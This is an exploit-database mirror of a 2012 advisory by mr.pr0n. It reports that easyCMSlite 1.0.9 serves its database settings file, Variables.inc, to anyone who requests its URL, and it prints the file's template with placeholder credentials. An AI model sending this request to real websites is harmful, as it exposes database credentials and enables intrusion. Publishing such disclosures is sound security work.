Lucene search
K

easyCMSlite 1.0.9 Database Information Disclosure

🗓️ 17 Jul 2012 00:00:00Reported by mr.pr0nType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

easyCMSlite 1.0.9 Database Information Disclosure, Free CMS with Database Settings Disclosur

Code
`#####################################################################################  
# Exploit Title: easyCMSlite v.1.0.9 - Database Information Disclosure  
# Google Dork: -  
# Date: 7/2012  
# Author: mr.pr0n (@_pr0n_)  
# Homepage: http://ghostinthelab.wordpress.com/  
# Software Link: http://www.easycmslite.com/  
# Version: v.1.0.9  
# Tested on: Windows / Linux  
#####################################################################################  
  
===============  
Description  
===============  
easyCMSlite is a free, easy content management system (CMS). We are  
actively growing our number of templates to choose from with more on the  
way (this site uses easyCMSlite, so you're looking at a template right  
now!). Take a look at the new CMS templates that are in progress. If you  
have no or little experience, time or budget but need to get a site up  
quickly and easily, then try out easyCMSlite, the free, easy content  
management system (setting up this entire CMS website took about 1 hour!).  
  
==================================================  
0x01. Database Information Disclosure.  
==================================================  
  
[+] http://TARGET/eclfiles/includes/Variables.inc  
  
  
  
-----------------------------------------------------------------  
<?  
  
// Database settings  
$DatabaseServerAddress = "localhost";  
$DatabaseName = "Database Name";  
$DatabaseUserName = "Database Username";  
$DatabasePassword = "Database Password";  
  
?>  
-----------------------------------------------------------------  
  
--   
mr.pr0n (@_pr0n_)  
http://ghostinthelab.wordpress.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation